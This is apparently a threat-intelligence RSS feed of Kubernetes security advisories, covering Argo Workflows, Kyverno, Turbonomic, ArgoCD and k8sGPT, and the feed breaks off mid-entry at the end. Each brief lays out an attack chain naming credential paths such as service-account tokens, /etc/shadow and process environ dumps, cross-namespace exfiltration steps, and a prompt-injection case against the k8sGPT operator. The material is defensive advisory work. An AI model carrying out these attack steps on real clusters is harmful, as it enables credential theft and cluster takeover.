<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Kubernetes — CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/tags/kubernetes/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata — refreshed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Mon, 04 May 2026 21:42:34 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/tags/kubernetes/feed.xml" rel="self" type="application/rss+xml"/><item><title>Kubernetes Pod Exec Sensitive File or Credential Path Access</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubernetes-pod-exec-sensitive-file-access/</link><pubDate>Mon, 04 May 2026 21:42:34 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubernetes-pod-exec-sensitive-file-access/</guid><description>This rule detects Kubernetes pod exec sessions where the decoded command line references sensitive files or paths such as mounted service account tokens, kubelet and control-plane configuration, host identity stores, private keys, and process environment dumps, aiming to identify potential lateral movement, privilege escalation, or credential theft.</description><content:encoded><![CDATA[<p>This detection identifies Kubernetes pod exec sessions accessing sensitive files or credential paths. The goal is to detect attackers attempting to steal credentials or configuration information from within Kubernetes pods. This often occurs after initial access and may precede lateral movement, privilege escalation, or data exfiltration. The detection focuses on command lines that reference paths related to service account tokens, kubelet configuration, host identity stores, common private keys, keystore extensions, process environment dumps, and configuration files with embedded secrets. The rule is designed to catch both interactive and scripted access, and includes exclusions for benign reads of resolv.conf.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains initial access to a Kubernetes cluster, potentially through a compromised application or misconfigured service.</li>
<li>Attacker uses <code>kubectl exec</code> or similar tools to execute commands within a pod.</li>
<li>The executed command attempts to read sensitive files or directories within the pod&rsquo;s filesystem, such as <code>/var/run/secrets/kubernetes.io/serviceaccount/token</code> to obtain the pod&rsquo;s service account token.</li>
<li>The command may also target host-level files if the pod has hostPath mounts or runs in a privileged context, like <code>/etc/shadow</code> or <code>/etc/passwd</code> for credential access.</li>
<li>The attacker may attempt to dump process environments via <code>/proc/&lt;pid&gt;/environ</code> to extract sensitive information stored as environment variables.</li>
<li>The attacker leverages obtained credentials or configuration to move laterally to other pods or nodes within the cluster.</li>
<li>The attacker escalates privileges within the cluster by abusing stolen service account tokens or node credentials.</li>
<li>The final objective is to exfiltrate sensitive data, deploy malicious workloads, or disrupt services within the Kubernetes environment.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>A successful attack can lead to the compromise of sensitive data, including credentials, configuration files, and application secrets. This can enable attackers to move laterally within the Kubernetes cluster, escalate privileges, and potentially gain control over the entire environment. The severity of the impact depends on the sensitivity of the data exposed and the level of access achieved by the attacker.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the provided Sigma rule to your SIEM to detect sensitive file access within Kubernetes pod exec sessions.</li>
<li>Investigate any alerts triggered by the Sigma rule, focusing on the <code>Esql.access_type</code> field to prioritize incidents.</li>
<li>Review and tighten RBAC permissions for pod exec to limit access to authorized users and service accounts.</li>
<li>Implement admission controls to prevent pods from running in privileged mode or using hostPath mounts unless absolutely necessary.</li>
<li>Monitor Kubernetes audit logs for suspicious <code>kubectl exec</code> activity, including unusual command lines or access patterns.</li>
<li>Regularly rotate Kubernetes service account tokens and other sensitive credentials to minimize the impact of potential breaches.</li>
<li>Use the provided Kubernetes audit log query to proactively search for historical instances of sensitive file access.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kubernetes</category><category>credential-access</category><category>execution</category></item><item><title>Potential Direct Kubelet API Access via Process Arguments</title><link>https://feed.craftedsignal.io/briefs/2024-01-09-kubelet-access/</link><pubDate>Mon, 04 May 2026 21:18:23 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-09-kubelet-access/</guid><description>This rule detects potential direct Kubelet API access attempts on Linux by identifying process executions whose arguments contain URLs targeting Kubelet ports (10250/10255) enabling discovery and lateral movement in Kubernetes environments.</description><content:encoded><![CDATA[<p>This detection identifies potential direct Kubelet API access attempts on Linux systems. The Kubelet, acting as the primary node agent, exposes an API accessible via ports 10250 and 10255. Attackers may exploit this API to enumerate pods, fetch logs, or even attempt remote execution. This access can lead to significant breaches in Kubernetes environments, facilitating discovery, lateral movement, and ultimately, compromise of sensitive data or control over cluster resources. The detection focuses on identifying process executions where the command-line arguments contain URLs targeting these Kubelet ports, indicating a potential attempt to interact with the Kubelet API directly.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains initial access to a compromised host within the Kubernetes cluster or a host with network access to the Kubelet ports.</li>
<li>The attacker uses a utility like <code>curl</code>, <code>wget</code>, <code>python</code>, or similar tools to craft an HTTP request targeting the Kubelet API on ports 10250 or 10255.</li>
<li>The request includes a path like <code>/pods</code>, <code>/runningpods</code>, <code>/metrics</code>, <code>/exec</code>, or <code>/containerLogs</code> to gather information about the cluster&rsquo;s state and configuration.</li>
<li>The attacker examines the response to identify potential targets for lateral movement, such as specific pods or containers of interest.</li>
<li>The attacker attempts to execute commands within a container using the <code>/exec</code> endpoint, potentially leveraging exposed service account tokens or other credentials.</li>
<li>The attacker uses gathered information to move laterally to other pods or nodes within the cluster, escalating privileges as they go.</li>
<li>The attacker compromises sensitive data or critical applications running within the Kubernetes cluster.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation can lead to full cluster compromise. Attackers can gain unauthorized access to sensitive data, disrupt critical applications, and move laterally to other resources within the Kubernetes environment. This could lead to significant financial losses, reputational damage, and legal liabilities. The potential impact includes data breaches, denial of service, and complete control over the Kubernetes infrastructure.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Kubelet API Access via Process Arguments</code> to your SIEM to detect suspicious process executions.</li>
<li>Restrict access to Kubelet ports 10250/10255 at the network layer to limit pod-to-node or host-to-node traffic as recommended in the overview section.</li>
<li>Harden Kubelet configuration by disabling anonymous authentication and enforcing webhook authentication/authorization as described in the overview section.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kubernetes</category><category>kubelet</category><category>lateral-movement</category><category>discovery</category><category>execution</category><category>linux</category></item><item><title>Argo Workflows Credentials Exposed in Pod Logs</title><link>https://feed.craftedsignal.io/briefs/2024-01-09-argo-cred-leak/</link><pubDate>Mon, 04 May 2026 20:12:01 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-09-argo-cred-leak/</guid><description>Argo Workflows versions 4.0.0 to 4.0.4 log artifact repository credentials in plaintext, allowing users with read access to pod logs to extract sensitive information such as S3 access keys and GCS service account keys.</description><content:encoded><![CDATA[<p>Argo Workflows, a Kubernetes-native workflow engine, is vulnerable to credential exposure. Specifically, versions 4.0.0 through 4.0.4 inadvertently log artifact repository credentials in plaintext during artifact operations. This includes sensitive data like S3 Access Keys, Secret Keys, Session Tokens, Server-Side Customer Keys, OSS Access Keys, Secret Keys, Security Tokens, and GCS Service Account Keys. The vulnerability stems from the logging driver passing the entire ArtifactDriver struct to the structured logger. Any user with read access to workflow pod logs can extract these credentials, creating a significant security risk. This is an incomplete fix of CVE-2025-62157.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains read access to Kubernetes pod logs within the Argo Workflows namespace. This could be achieved through compromised credentials, misconfigured RBAC policies, or other Kubernetes vulnerabilities.</li>
<li>The attacker identifies a workflow that utilizes artifact storage, such as S3 or GCS.</li>
<li>The workflow executes an artifact operation (upload or download).</li>
<li>Argo Workflows logs the entire ArtifactDriver struct, including the plaintext credentials, into the pod logs.</li>
<li>The attacker queries the pod logs using <code>kubectl</code> or other Kubernetes tooling. For example: <code>kubectl -n argo logs &quot;cred-leak-test&quot; -c wait</code>.</li>
<li>The attacker extracts the plaintext credentials (e.g., S3 Access Key and Secret Key) from the log output.</li>
<li>The attacker uses the extracted credentials to access the artifact repository (e.g., S3 bucket) and potentially steal data or perform other unauthorized actions.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows unauthorized access to artifact repositories used by Argo Workflows. This can lead to data breaches, as sensitive data stored in S3 buckets, GCS buckets, or other storage solutions can be exposed. The impact is especially severe if the compromised credentials have broad permissions or if the artifact repository contains highly sensitive data. This affects Argo Workflows versions 4.0.0, 4.0.1, 4.0.2, 4.0.3, and 4.0.4.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Argo Workflows to version 4.0.5 or later to remediate the vulnerability (CVE-2026-42295).</li>
<li>Review and restrict Kubernetes RBAC permissions to limit access to pod logs, following the principle of least privilege.</li>
<li>Implement log monitoring and alerting for unusual access patterns to Kubernetes pod logs.</li>
<li>Rotate any potentially exposed artifact repository credentials (S3 access keys, GCS service account keys, etc.) if Argo Workflows versions 4.0.0-4.0.4 were in use.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>argo-workflows</category><category>credential-access</category><category>kubernetes</category></item><item><title>Argo Workflows Template Referencing Restriction Bypass</title><link>https://feed.craftedsignal.io/briefs/2026-05-argo-workflow-bypass/</link><pubDate>Mon, 04 May 2026 20:11:38 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-05-argo-workflow-bypass/</guid><description>Argo Workflows has an incomplete fix for CVE-2026-31892, allowing bypass of templateReferencing restrictions to modify pod specifications, leading to potential privilege escalation and security context overrides.</description><content:encoded><![CDATA[<p>Argo Workflows, a Kubernetes-native workflow engine, contains an incomplete fix for CVE-2026-31892. The initial patch blocked <code>podSpecPatch</code> modifications when <code>templateReferencing: Strict</code> was active. However, other fields within the WorkflowSpec that influence pod creation, such as <code>hostNetwork</code>, <code>serviceAccountName</code>, and <code>securityContext</code>, were not restricted. This allows a malicious user to bypass intended security controls and potentially escalate privileges within the Kubernetes cluster. Versions affected include those supporting the <code>templateReferencing</code> feature, specifically v4.0.2 and v3.7.11, which include the initial fix for CVE-2026-31892 but are still vulnerable to this bypass. This vulnerability exists because the check in <code>setExecWorkflow</code> only validates <code>HasPodSpecPatch()</code>, while other critical fields are applied directly to the pod specification. The bypass affects both <code>Strict</code> and <code>Secure</code> modes.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains <code>create Workflow</code> permission within the Argo Workflows environment.</li>
<li>Attacker crafts a Workflow manifest that references a hardened WorkflowTemplate.</li>
<li>Attacker sets <code>hostNetwork: true</code> (or other vulnerable fields like <code>securityContext</code>, <code>serviceAccountName</code>, <code>tolerations</code>, or <code>automountServiceAccountToken</code>) in the Workflow manifest.</li>
<li>The Workflow is submitted, and the <code>setExecWorkflow</code> function in the Argo controller only checks for <code>podSpecPatch</code>.</li>
<li>Due to the missing validation, the user-defined <code>hostNetwork: true</code> (or other vulnerable fields) is merged with the WorkflowTemplate specification.</li>
<li>The <code>createWorkflowPod</code> function reads the merged specification and applies the <code>hostNetwork: true</code> setting directly to the pod specification, bypassing the intended restrictions.</li>
<li>A pod is created with host networking enabled, granting the container access to the host&rsquo;s network namespace.</li>
<li>The attacker can now access sensitive information or perform actions on the network as if they were running directly on the host.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an attacker to bypass the intended security restrictions imposed by Argo Workflows&rsquo; <code>templateReferencing</code> feature. This can lead to privilege escalation, unauthorized access to network resources, and the potential to compromise other containers or nodes within the Kubernetes cluster. The impact is most significant in clusters that rely on Argo&rsquo;s Strict mode as the primary enforcement layer, as other Kubernetes-level controls like PodSecurity admission or OPA/Gatekeeper may not be in place to mitigate these bypasses.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Argo Workflow Host Network Bypass</code> to detect workflows attempting to set <code>hostNetwork: true</code>, and tune for your environment.</li>
<li>Deploy the Sigma rule <code>Argo Workflow Service Account Override</code> to detect workflows attempting to override the service account.</li>
<li>Upgrade to a patched version of Argo Workflows that addresses CVE-2026-42296, ensuring that all WorkflowSpec fields that influence pod security posture are validated.</li>
<li>Implement Kubernetes-level controls, such as PodSecurity admission or OPA/Gatekeeper, to provide an additional layer of defense against unauthorized pod specification modifications.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>argo-workflows</category><category>kubernetes</category><category>privilege-escalation</category><category>defense-evasion</category></item><item><title>IBM Turbonomic prometurbo Agent Privilege Escalation via Excessive Permissions (CVE-2026-6389)</title><link>https://feed.craftedsignal.io/briefs/2026-04-turbonomic-privesc/</link><pubDate>Thu, 30 Apr 2026 22:16:26 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-turbonomic-privesc/</guid><description>IBM Turbonomic prometurbo agent versions 8.16.0 through 8.17.6 grants excessive cluster-wide permissions, including unrestricted read access to all secrets, allowing a compromised operator or service account to exfiltrate credentials, escalate privileges, and achieve full cluster compromise.</description><content:encoded><![CDATA[<p>CVE-2026-6389 affects IBM Turbonomic prometurbo agent versions 8.16.0 through 8.17.6. The vulnerability stems from the agent granting excessive cluster-wide permissions within IBM Turbonomic Application Resource Management. A successful exploit allows an attacker who has compromised the operator or its associated service account to gain unrestricted read access to all secrets within the cluster. This vulnerability was reported on April 30, 2026, and poses a significant risk to organizations using the affected versions, potentially leading to complete cluster compromise. Defenders should prioritize patching and monitoring for unauthorized access to sensitive resources.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains initial access to the Kubernetes cluster, potentially through exploiting a vulnerability in a separate application or service running within the cluster, or via compromised credentials.</li>
<li>The attacker identifies the IBM Turbonomic prometurbo agent and its associated service account within the compromised cluster.</li>
<li>The attacker leverages the compromised service account or operator to interact with the Kubernetes API, exploiting the excessive cluster-wide permissions granted to the prometurbo agent.</li>
<li>The attacker utilizes the unrestricted read access to enumerate and exfiltrate sensitive credentials stored as secrets within the cluster, including database passwords, API keys, and other sensitive information.</li>
<li>Using the stolen credentials, the attacker escalates privileges by accessing other services and resources within the cluster, such as deploying malicious pods or modifying existing deployments.</li>
<li>The attacker achieves persistence by creating or modifying service accounts, roles, and role bindings to maintain access to the cluster even if the initial point of compromise is remediated.</li>
<li>The attacker moves laterally within the cluster, compromising additional nodes and workloads to expand their control and access to sensitive data.</li>
<li>The attacker achieves full cluster compromise, gaining complete control over all resources and data within the Kubernetes environment.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>A successful exploitation of CVE-2026-6389 can lead to a full compromise of the Kubernetes cluster. This includes unrestricted access to sensitive data and the ability to control all workloads and resources within the environment. The impact includes potential data breaches, service disruptions, and significant financial and reputational damage. Organizations in any sector using the affected versions of IBM Turbonomic are at risk, and the severity is heightened in environments handling sensitive data or critical infrastructure.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade IBM Turbonomic prometurbo agent to a version beyond 8.17.6 to patch CVE-2026-6389.</li>
<li>Review and restrict the permissions granted to the prometurbo agent service account, adhering to the principle of least privilege (reference: CVE-2026-6389).</li>
<li>Implement Kubernetes audit logging to monitor for unauthorized access to secrets and other sensitive resources (reference: Kubernetes documentation).</li>
<li>Deploy the Sigma rule &ldquo;Detect Kubernetes Secret Access via Turbonomic Agent&rdquo; to identify potential exploitation attempts (reference: Sigma rule below).</li>
<li>Monitor for unusual activity originating from the prometurbo agent service account, such as attempts to access or exfiltrate large amounts of data (reference: network_connection log source).</li>
<li>Implement network segmentation to limit the potential impact of a compromised cluster, preventing lateral movement to other environments.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>privilege-escalation</category><category>credential-access</category><category>kubernetes</category><category>vulnerability</category></item><item><title>k8sGPT Operator Vulnerable to Prompt Injection</title><link>https://feed.craftedsignal.io/briefs/2026-04-k8sgpt-prompt-injection/</link><pubDate>Fri, 24 Apr 2026 16:41:39 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-k8sgpt-prompt-injection/</guid><description>k8sGPT versions before 0.4.32 are vulnerable to prompt injection due to deserialization of AI-generated YAML without proper validation in the auto-remediation pipeline, potentially leading to arbitrary code execution within the Kubernetes cluster.</description><content:encoded><![CDATA[<p>k8sGPT is an open-source project that leverages AI to analyze and remediate Kubernetes cluster issues. A critical vulnerability exists in k8sGPT versions prior to 0.4.32, specifically within the k8sGPT-Operator component. The vulnerability stems from the auto-remediation pipeline in <code>object_to_execution.go</code>, which deserializes AI-generated YAML directly into a Kubernetes Deployment object without adequate validation. This lack of validation allows for prompt injection, where malicious YAML payloads generated by the AI can overwrite or modify existing deployments in unexpected ways. This can be exploited by attackers to gain control over resources within the Kubernetes cluster by crafting malicious AI prompts to inject malicious code into deployment configurations.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker crafts a malicious prompt designed to generate YAML code that includes malicious configurations (e.g., mounting host volumes, privileged containers).</li>
<li>The k8sGPT-Operator receives the prompt and uses its AI engine to generate a YAML manifest for a Kubernetes Deployment object.</li>
<li>The <code>object_to_execution.go</code> component deserializes the AI-generated YAML manifest directly into a Kubernetes Deployment object.</li>
<li>Due to the lack of validation, the malicious configurations within the YAML manifest are not detected.</li>
<li>The k8sGPT-Operator applies the modified Deployment object to the Kubernetes cluster via the Kubernetes API.</li>
<li>The Kubernetes scheduler creates pods based on the compromised Deployment object, potentially executing malicious code within the cluster.</li>
<li>The attacker gains control over the deployed pod, potentially escalating privileges to other resources within the cluster.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows an attacker to inject arbitrary code into Kubernetes deployments, potentially leading to full cluster compromise. While the precise number of affected installations is unknown, any k8sGPT deployment prior to version 0.4.32 is susceptible. This could lead to data breaches, denial of service, or complete control over the Kubernetes environment. Organizations using k8sGPT for automated remediation should immediately upgrade to version 0.4.32 or later.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade k8sGPT to version 0.4.32 or later to patch the vulnerability (reference: Affected versions).</li>
<li>Implement additional validation of Deployment objects before applying them to the cluster to prevent malicious configurations (reference: Overview).</li>
<li>Deploy the Sigma rule provided to detect attempts to create privileged containers or mount sensitive host paths (reference: Sigma rule).</li>
<li>Monitor Kubernetes audit logs for suspicious activity related to Deployment object modifications (reference: Attack Chain).</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>prompt-injection</category><category>kubernetes</category><category>ai</category><category>vulnerability</category></item><item><title>Argo Workflows Controller Denial-of-Service via Malformed Pod Annotation</title><link>https://feed.craftedsignal.io/briefs/2024-01-09-argo-workflow-dos/</link><pubDate>Thu, 23 Apr 2026 21:39:21 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-09-argo-workflow-dos/</guid><description>A malformed `workflows.argoproj.io/pod-gc-strategy` annotation in an Argo Workflow pod can trigger an unchecked array index in the `podGCFromPod()` function, leading to a controller-wide panic and denial-of-service.</description><content:encoded><![CDATA[<p>Argo Workflows is vulnerable to a denial-of-service attack where a malformed <code>workflows.argoproj.io/pod-gc-strategy</code> annotation within a workflow pod can crash the Argo Workflows controller. This vulnerability stems from an unchecked array index in the <code>podGCFromPod()</code> function. When the annotation value lacks a &ldquo;/&rdquo;, the <code>strings.Split</code> function returns an array of length 1, leading to an out-of-bounds access when trying to retrieve the second element. The resulting panic occurs outside the controller&rsquo;s recovery scope, causing the entire controller process to terminate. The affected versions include 3.6.5 through 3.6.19, 3.7.0-rc1 through 3.7.12, and 4.0.0-rc1 through 4.0.3. This vulnerability was introduced in commit <a href="https://github.com/argoproj/argo-workflows/issues/14129">#14129</a>.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker crafts a malicious Argo Workflow YAML file.</li>
<li>The YAML includes a <code>podMetadata</code> section defining annotations for the workflow pod.</li>
<li>Within the annotations, the <code>workflows.argoproj.io/pod-gc-strategy</code> key is set to a value that does not contain a forward slash (&quot;/&quot;), such as &ldquo;NoSlash&rdquo;.</li>
<li>The attacker submits the crafted workflow to the Argo Workflows controller using <code>kubectl apply -n argo -f malicious-workflow.yaml</code>.</li>
<li>The Argo Workflows controller receives the workflow definition and creates a corresponding pod based on the specification.</li>
<li>The <code>podGCFromPod()</code> function in <code>/workflow/controller/pod/controller.go</code> attempts to parse the <code>workflows.argoproj.io/pod-gc-strategy</code> annotation.</li>
<li>The <code>strings.Split</code> function splits the annotation value, resulting in an array with only one element.</li>
<li>The code attempts to access <code>parts[1]</code>, causing a panic due to an out-of-bounds array access and crashes the controller, resulting in a denial-of-service.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows any user with the ability to submit workflows to crash the Argo Workflows controller. The controller will enter a crash loop, rendering the entire Argo Workflows deployment unavailable. Since the controller is responsible for managing and executing workflows, all workflow processing is halted, leading to a denial-of-service condition. This can severely impact organizations relying on Argo Workflows for their CI/CD pipelines or other automated tasks. The attacker requires only <code>create</code> permission on Workflow resources to execute this attack.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade to a patched version of Argo Workflows (v3.6.4 or earlier, v3.6.20+, v3.7.13+, or v4.0.4+) to remediate the vulnerability as described in <a href="https://github.com/advisories/GHSA-5jv8-h7qh-rf5p">GHSA-5jv8-h7qh-rf5p</a>.</li>
<li>Implement input validation on workflow submissions to reject workflows with malformed <code>workflows.argoproj.io/pod-gc-strategy</code> annotations. See the PoC workflow example provided in <a href="https://github.com/advisories/GHSA-5jv8-h7qh-rf5p">GHSA-5jv8-h7qh-rf5p</a> for examples of vulnerable annotation values.</li>
<li>Deploy the Sigma rule <code>Detect Argo Workflows Malformed Pod GC Annotation</code> to detect workflow submissions containing potentially malicious annotations.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>argo-workflows</category><category>denial-of-service</category><category>kubernetes</category></item><item><title>Kyverno ConfigMap Cross-Namespace Read RBAC Bypass (CVE-2026-22039 Incomplete Fix)</title><link>https://feed.craftedsignal.io/briefs/2026-04-kyverno-configmap-rbac-bypass/</link><pubDate>Fri, 17 Apr 2026 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-kyverno-configmap-rbac-bypass/</guid><description>CVE-2026-22039 incompletely fixed a cross-namespace privilege escalation vulnerability in Kyverno's apiCall context, as the ConfigMap context loader still lacks namespace validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account, leading to a complete RBAC bypass in multi-tenant Kubernetes clusters.</description><content:encoded><![CDATA[<p>This brief addresses a critical vulnerability in Kyverno version 1.17.0 (and earlier) related to cross-namespace ConfigMap access, stemming from an incomplete fix for CVE-2026-22039. While the original CVE addressed privilege escalation in Kyverno&rsquo;s <code>apiCall</code> context, the ConfigMap context loader (<code>pkg/engine/context/loaders/configmap.go</code>) still lacks namespace validation. This allows a namespace administrator to craft a Kyverno policy that reads ConfigMaps from any namespace, effectively bypassing RBAC controls. This vulnerability impacts multi-tenant Kubernetes clusters, particularly those running Azure Kubernetes Service (AKS) or other managed Kubernetes services using Kyverno. Exploitation requires a namespace admin to create a Kyverno Policy resource in their namespace.  A successful exploit allows the attacker to exfiltrate sensitive data, such as database credentials and API keys, stored in ConfigMaps across the cluster.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker with namespace admin privileges creates a service account and role binding within their assigned namespace.</li>
<li>The attacker deploys a Kyverno <code>Policy</code> resource within their namespace. This policy is crafted to exploit the vulnerability in the ConfigMap context loader.</li>
<li>The policy specifies <code>context.configMap.namespace</code> to target a ConfigMap in a different, victim namespace.  This step leverages the lack of namespace validation in <code>pkg/engine/context/loaders/configmap.go</code>.</li>
<li>The policy includes a <code>mutate</code> rule designed to extract data from the targeted ConfigMap and embed it into annotations of another ConfigMap within the attacker&rsquo;s namespace.</li>
<li>The attacker triggers the policy by creating or modifying a ConfigMap (e.g., <code>trigger-cm</code>) in their own namespace. This triggers Kyverno&rsquo;s admission controller.</li>
<li>Kyverno, running with a privileged service account (cluster-wide <code>view</code> role), fetches the ConfigMap from the victim namespace based on the attacker&rsquo;s policy.</li>
<li>The <code>mutate</code> rule in the policy executes, copying the contents of the stolen ConfigMap data into annotations of the trigger ConfigMap.</li>
<li>The attacker retrieves the modified <code>trigger-cm</code> ConfigMap and extracts the exfiltrated secrets from the annotations.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows a namespace administrator to bypass Kubernetes RBAC and read ConfigMaps from any namespace within the cluster. This can lead to the exfiltration of sensitive data such as database credentials, API keys, and other secrets stored in ConfigMaps. The impact is most severe in multi-tenant environments where namespace isolation is critical for security.  This vulnerability affects any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled. A successful attack violates the principle of least privilege and breaks multi-tenancy guarantees.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Detect Kyverno Policy Creating Cross-Namespace ConfigMap Context</code> to identify potentially malicious policies.</li>
<li>Apply the namespace validation fix suggested in the advisory to <code>configmap.NewConfigMapLoader()</code>.  Specifically, ensure the resolved namespace in the ConfigMap context matches the policy&rsquo;s namespace (<code>pkg/engine/context/loaders/configmap.go</code>).</li>
<li>Audit other Kyverno context loaders (<code>globalReference</code>, <code>imageRegistry</code>, <code>variable</code>) for similar missing namespace validation patterns.</li>
<li>Upgrade to a patched version of Kyverno as soon as it is released. Refer to the Kyverno release notes for the fix version.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kyverno</category><category>rbac-bypass</category><category>kubernetes</category><category>privilege-escalation</category></item><item><title>Multiple Vulnerabilities in Kyverno Allow Privilege Escalation and Data Manipulation</title><link>https://feed.craftedsignal.io/briefs/2026-04-kyverno-vulns/</link><pubDate>Thu, 16 Apr 2026 11:19:02 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-kyverno-vulns/</guid><description>An authenticated remote attacker can exploit multiple vulnerabilities in Kyverno to disclose information, bypass security measures, manipulate data, and gain elevated privileges.</description><content:encoded><![CDATA[<p>Kyverno, a Kubernetes policy engine, is susceptible to multiple vulnerabilities that can be exploited by authenticated remote attackers. These flaws allow attackers to disclose sensitive information, circumvent security measures, manipulate data, and ultimately gain elevated privileges within the Kubernetes environment. Successful exploitation of these vulnerabilities could lead to unauthorized access to sensitive resources, disruption of services, and potential compromise of the entire cluster. Given Kyverno&rsquo;s central role in enforcing security policies, these vulnerabilities pose a significant risk to organizations relying on this tool for governance and compliance. Defenders should prioritize identifying and mitigating these vulnerabilities to prevent potential attacks.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker authenticates to the Kyverno API server using valid credentials.</li>
<li>The attacker exploits a vulnerability in the policy evaluation engine to bypass configured security policies.</li>
<li>The attacker leverages an information disclosure vulnerability to gain access to sensitive data, such as service account tokens or configuration details.</li>
<li>The attacker manipulates existing Kyverno policies to grant themselves additional permissions within the cluster.</li>
<li>The attacker uses the elevated permissions to create or modify Kubernetes resources, such as pods or deployments.</li>
<li>The attacker modifies data within the cluster, potentially impacting applications and services.</li>
<li>The attacker escalates privileges to gain cluster-admin access.</li>
<li>The attacker exfiltrates sensitive data from the compromised Kubernetes cluster.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of these vulnerabilities in Kyverno can have severe consequences. It can lead to unauthorized access to sensitive data, manipulation of Kubernetes resources, and ultimately, a complete compromise of the cluster. This can result in data breaches, service disruptions, and significant financial and reputational damage. Organizations relying on Kyverno for security and governance in their Kubernetes environments are particularly vulnerable. The lack of specific victim numbers makes it difficult to quantify the impact precisely, but the criticality of Kyverno in Kubernetes security makes this a high-priority threat.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Implement strict access controls and monitoring for the Kyverno API server to detect unauthorized authentication attempts.</li>
<li>Analyze Kyverno audit logs for suspicious policy modifications and resource creations to identify potential exploitation attempts. Enable Kubernetes audit logging to detect unusual activity related to resources managed by Kyverno.</li>
<li>Develop and deploy the Sigma rules provided in this brief to detect attempts to bypass security policies.</li>
<li>Regularly review and update Kyverno policies to ensure they are effective and do not contain any vulnerabilities.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>kyverno</category><category>kubernetes</category><category>privilege-escalation</category><category>data-manipulation</category></item><item><title>ArgoCD Image Updater Namespace Bypass Vulnerability (CVE-2026-6388)</title><link>https://feed.craftedsignal.io/briefs/2026-04-argocd-privesc/</link><pubDate>Wed, 15 Apr 2026 22:17:22 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-argocd-privesc/</guid><description>CVE-2026-6388 describes a flaw in ArgoCD Image Updater that allows an attacker with permissions to create or modify an ImageUpdater resource in a multi-tenant environment to bypass namespace boundaries and trigger unauthorized image updates.</description><content:encoded><![CDATA[<p>CVE-2026-6388 is a critical vulnerability affecting ArgoCD Image Updater. This flaw allows an attacker who has the ability to create or modify ImageUpdater resources within a multi-tenant ArgoCD environment to bypass namespace boundaries. By exploiting insufficient validation within the Image Updater, an attacker can trigger image updates for applications residing in different namespaces, effectively escalating privileges across tenant boundaries. This unauthorized modification of application images can lead to compromised application integrity and 